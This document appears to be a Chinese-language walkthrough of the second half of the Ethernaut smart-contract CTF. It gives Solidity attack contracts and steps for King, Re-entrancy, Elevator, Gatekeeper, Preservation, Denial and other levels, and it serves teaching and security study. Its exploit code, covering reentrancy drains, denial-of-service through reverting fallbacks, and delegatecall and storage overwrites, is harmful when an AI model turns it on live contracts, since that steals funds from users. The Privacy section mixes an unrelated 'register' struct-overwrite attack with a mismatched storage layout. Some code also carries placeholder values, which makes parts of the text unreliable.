Ethernaut闯关录(下)
字数 2021 2025-08-22 12:22:48
Ethernaut智能合约闯关全解析(下)
King关卡解析
关卡要求
- 目标:阻止合约回退,使攻击合约永久成为国王
合约分析
contract King is Ownable {
address public king;
uint public prize;
function King() public payable {
king = msg.sender;
prize = msg.value;
}
function() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
}
攻击原理
- 当新国王产生时,原国王会收到奖金
- 如果攻击合约拒绝接收奖金(通过revert()),就能永久保持国王地位
攻击合约
contract attack {
function attack(address _addr) public payable {
_addr.call.gas(10000000).value(msg.value)();
}
function() public {
revert();
}
}
攻击步骤
- 获取实例并查看当前prize值和king地址
- 部署攻击合约
- 调用攻击合约成为新国王
- 提交实例验证
Re-entrancy关卡解析
关卡要求
- 目标:盗取合约中的所有代币
合约漏洞
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
if(msg.sender.call.value(_amount)()) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
- 使用call.value()发送以太币后才更新余额
- 攻击者可在fallback函数中递归调用withdraw
攻击合约
contract ReentrancePoc {
Reentrance reInstance;
function ReentrancePoc(address _addr) public {
reInstance = Reentrance(_addr);
}
function callDonate() public payable {
reInstance.donate.value(msg.value)(this);
}
function attack() public {
reInstance.withdraw(1 ether);
}
function() public payable {
if(address(reInstance).balance >= 1 ether){
reInstance.withdraw(1 ether);
}
}
}
攻击步骤
- 获取实例并记录合约地址
- 部署攻击合约
- 向攻击合约地址捐赠1 ether
- 调用attack函数实施重入攻击
- 提交实例验证
Elevator关卡解析
关卡要求
- 目标:绕过限制使top变为true
合约分析
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
攻击原理
- goTo函数调用了两次isLastFloor
- 构造取反函数使第一次返回false,第二次返回true
攻击合约
contract BuildingEXP {
Elevator ele;
bool t = true;
function isLastFloor(uint) view public returns (bool) {
t = !t;
return t;
}
function attack(address _addr) public {
ele = Elevator(_addr);
ele.goTo(5);
}
}
攻击步骤
- 获取实例并查看初始top值
- 部署攻击合约
- 调用attack函数传入合约地址
- 验证top已变为true
- 提交实例
Privacy关卡解析
关卡要求
- 目标:将locked状态从true改为false
存储布局分析
slot 0: bool locked (1字节) + 填充
slot 1: uint256 ID (不存储,因为是constant)
slot 2: uint8 flattening (1字节) + uint8 denomination (1字节) + uint16 awkwardness (2字节) + 填充
slot 3: bytes32[3] data
攻击原理
- 通过结构体重定义覆盖存储
- 传入_name为bytes32(1)会覆盖slot 0
攻击步骤
- 获取实例
- 调用register函数传入bytes32(1)和任意地址
- 验证locked已变为false
- 提交实例
Gatekeeper One关卡解析
关卡要求
- 绕过三个修饰器的限制
三个条件
- gateOne: msg.sender != tx.origin(通过中间合约)
- gateTwo: msg.gas % 8191 == 0(需调试找到合适gas值)
- gateThree:
- uint32(_gateKey) == uint16(_gateKey)
- uint32(_gateKey) != uint64(_gateKey)
- uint32(_gateKey) == uint16(tx.origin)
攻击合约
contract Attack {
function hack() public {
target.call.gas(适当的gas)(bytes4(keccak256("enter(bytes8)")), _gateKey);
}
}
Gatekeeper Two关卡解析
三个条件
- gateOne: msg.sender != tx.origin(通过中间合约)
- gateTwo: extcodesize(caller) == 0(在构造函数中调用)
- gateThree: uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1
攻击合约
contract attack {
function attack(address param) {
GatekeeperTwo a = GatekeeperTwo(param);
bytes8 _gateKey = bytes8((uint64(0) - 1) ^ uint64(keccak256(this)));
a.enter(_gateKey);
}
}
Naught Coin关卡解析
关卡要求
- 绕过时间锁转移所有代币
攻击原理
- 利用未重写的transferFrom函数
- 先approve再transferFrom
攻击步骤
- 调用approve授权自己
- 调用transferFrom转移代币
- 提交实例
Preservation关卡解析
关卡要求
- 获取合约的owner权限
攻击原理
- 通过delegatecall修改timeZone1Library为攻击合约地址
- 再次调用修改owner
攻击合约
contract PreservationPoc {
function setTime(uint _time) public {
owner = address(_time);
}
}
攻击步骤
- 调用setSecondTime设置攻击合约地址
- 调用setFirstTime设置owner地址
- 提交实例
Recovery关卡解析
关卡要求
- 从丢失的合约地址中恢复0.5 ether
攻击原理
- 通过交易哈希查找创建的SimpleToken合约地址
- 调用destroy函数回收资金
攻击步骤
- 从交易记录中找到合约地址
- 调用destroy函数
- 提交实例
MagicNumber关卡解析
关卡要求
- 提供最多10个操作码的合约返回42
解决方案
var bytecode = "0x600a600c600039600a6000f3602A60805260206080f3";
web3.eth.sendTransaction({from: player, data: bytecode}, function(err, res){});
await contract.setSolver("合约地址");
Alien Codex关卡解析
关卡要求
- 获取合约的所有权
攻击原理
- 通过数组长度下溢获得对整个存储的写权限
- 计算owner存储位置并覆盖
攻击步骤
- 调用make_contact绕过contact检查
- 调用retract使数组长度下溢
- 计算owner存储位置并覆盖
- 提交实例
Denial关卡解析
关卡要求
- 造成DOS使owner无法提取资产
攻击原理
- 通过重入攻击耗尽gas
攻击合约
contract Attack {
function() payable public {
target.withdraw();
}
}
总结
本教学文档详细分析了Ethernaut各个关卡的智能合约漏洞及攻击方法,关键点包括:
- 拒绝服务攻击(King)
- 重入漏洞(Re-entrancy)
- 状态变量覆盖(Privacy)
- 委托调用风险(Preservation)
- 存储布局操作(Alien Codex)
- 低级别字节码操作(MagicNumber)
每个攻击都展示了智能合约开发中需要注意的安全问题,开发者应特别注意:
- 外部调用顺序
- 状态变量更新时机
- 存储布局设计
- 算术运算安全性
- 权限控制机制
通过实践这些关卡,可以深入理解以太坊智能合约的安全机制和常见漏洞模式。